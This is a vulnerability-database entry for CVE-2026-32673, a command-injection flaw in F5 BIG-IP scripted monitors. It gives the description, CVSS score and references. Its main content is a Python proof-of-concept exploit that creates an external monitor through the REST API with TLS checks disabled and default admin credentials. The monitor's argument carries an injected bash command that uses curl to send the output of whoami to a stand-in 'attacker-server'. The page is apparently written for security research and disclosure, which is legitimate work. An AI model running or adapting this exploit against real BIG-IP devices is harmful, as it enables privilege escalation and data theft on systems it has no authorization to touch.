CVE-2026-32673

Description

A vulnerability exists in BIG-IP scripted monitors that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

F5 BIG-IP (具体受影响版本列表请参考官方K000161040)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
Conceptual PoC for CVE-2026-32673
Demonstrates command injection via F5 BIG-IP Scripted Monitor.
Requires Administrator or Resource Administrator privileges.
"""

import requests
import urllib3

# Disable SSL warnings for lab environments
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(target_ip, username, password):
    # F5 BIG-IP API endpoint for External Monitors
    base_url = f"https://{target_ip}/mgmt/tm/ltm/monitor/external"
    
    # Authentication
    auth = (username, password)
    headers = {'Content-Type': 'application/json'}
    
    # Malicious payload: Injecting a shell command within the monitor script argument
    # The vulnerability allows arbitrary command execution via the script configuration
    monitor_name = "poc_exploit_monitor"
    malicious_command = "; /bin/bash -c 'curl http://attacker-server/$(whoami)'"
    
    payload = {
        "name": monitor_name,
        "filename": "/Common/sample_external_monitor",
        "args": malicious_command  # Injection point
    }

    try:
        print(f"[*] Attempting to create monitor on {target_ip}...")
        response = requests.post(base_url, json=payload, auth=auth, headers=headers, verify=False)
        
        if response.status_code == 200 or response.status_code == 201:
            print("[+] Monitor created successfully. Check your listener for command execution.")
            print("[+] Note: The monitor must be associated with a pool member to trigger execution.")
        else:
            print(f"[-] Failed to create monitor. Status code: {response.status_code}")
            print(response.text)
            
    except Exception as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    # Replace with actual lab credentials
    TARGET_IP = "192.168.1.100"
    USER = "admin"
    PASS = "admin"
    exploit(TARGET_IP, USER, PASS)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32673
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32673
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32673/
[4] VulDB https://vuldb.com/cve/CVE-2026-32673
[5] https://my.f5.com/manage/s/article/K000161040

Raw JSON Data

JSON

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